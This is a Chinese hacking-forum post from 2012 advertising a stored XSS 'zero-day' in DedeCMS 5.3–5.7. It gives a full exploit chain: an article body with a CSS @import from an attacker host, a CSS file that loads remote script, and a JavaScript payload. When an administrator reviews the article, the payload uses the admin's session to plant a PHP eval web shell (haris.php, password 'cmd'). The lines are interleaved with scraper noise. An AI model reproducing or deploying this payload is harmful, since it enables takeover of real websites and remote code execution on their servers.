找回密码
 立即注册
查看: 2459|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
3 L3 j* ^9 t. O' Z7 d4 @为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)2 \) _# D* s: s- l' X
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。# H2 D: S& t3 z+ V+ z5 T7 v$ V. \
下面说说利用方法。
) \( y* s! U7 d% f# ]6 M条件有2个:
! l7 R; b( h6 e& x& Q1.开启注册
0 w" K! l! L/ M$ x6 z2.开启投稿
# e8 _- e! }5 X7 m# g# {9 ~( k注册会员----发表文章
" F) ^% N, E6 {% X内容填写:
- c! n0 K; w9 X! M3 [复制代码% U7 P5 A' F5 d: R3 ~
<style>@im\port'\http://xxx.com/xss.css';</style>8 V: \- \0 f  @
新建XSS.Css6 V, I6 ~9 X1 u  X" S- A* y$ b
复制代码6 [6 M2 q' T2 J; ~
.body{
. `2 G" M8 l3 k8 F! U- @background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }3 o) T; \0 }/ H- _, b# @: H
新建xss.js 内容为( S& M' n- }) M3 d4 W" Q
复制代码
8 M! A8 f) m0 C+ ^. Z/ D1.var request = false;6 s1 H( u$ d. K
2.if(window.XMLHttpRequest) {6 d2 T% v9 U" Z' t( V. n0 T8 \2 O* J4 K
3.request = new XMLHttpRequest();; o/ Y2 b3 N9 Z
4.if(request.overrideMimeType) {6 t# J' W. o" O# m& y# M4 F
5.request.overrideMimeType('text/xml');
$ f1 p: M2 N9 h, @3 ], |6.}, V$ W1 B, Y) I
7.} else if(window.ActiveXObject) {
) c+ F( c$ V. ^1 Y( t8 _8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. F" h. p+ ~3 [( t: Q9.for(var i=0; i<versions.length; i++) {
) l2 `" C4 `9 n  G2 i10.try {3 u5 f: a, K3 }! z  Z% @, S
11.request = new ActiveXObject(versions);
$ S8 c! U9 A' S* W12.} catch(e) {}
. V- H$ h$ Z4 V& M5 l7 P13.}, |4 I7 P( E, g/ r( {7 e; J
14.}' E4 ?) ^, g- k( k- S6 [, x% c- P
15.xmlhttp=request;4 s6 t# {; v! |9 I8 l  ~
16.function getFolder( url ){
  H5 q! z( C; K: n: E0 L17. obj = url.split('/')4 W9 }+ f( h7 G$ q* C
18. return obj[obj.length-2]1 ]8 H0 o* r: M6 ^6 _
19.}
) ~" p( B8 }) X20.oUrl = top.location.href;
7 N% N9 v5 r' F4 A+ E2 S+ b8 e21.u = getFolder(oUrl);# {% a! |) R" K7 O1 L1 g, c
22.add_admin();
, }' S/ a9 D7 d/ V: z5 @23.function add_admin(){% I8 V* V5 ~; Y/ T; J/ _$ `
24.var url= "/"+u+"/sys_sql_query.php";: i* R+ A% Q' h
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
6 z, t/ m. d* L! D6 F: M" l26.xmlhttp.open("POST", url, true);
+ [1 L% ~" Z3 c3 O27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");3 i5 A4 z2 O6 p3 ~; b" z
28.xmlhttp.setRequestHeader("Content-length", params.length);
  u6 I) n% y& w29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
( J2 D# Y# P4 Y, ?5 u* n30.xmlhttp.send(params);  o% r- V  l; z3 n+ \
31.}
1 p/ J0 R" v3 C* J; o: h8 i& Y+ w当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表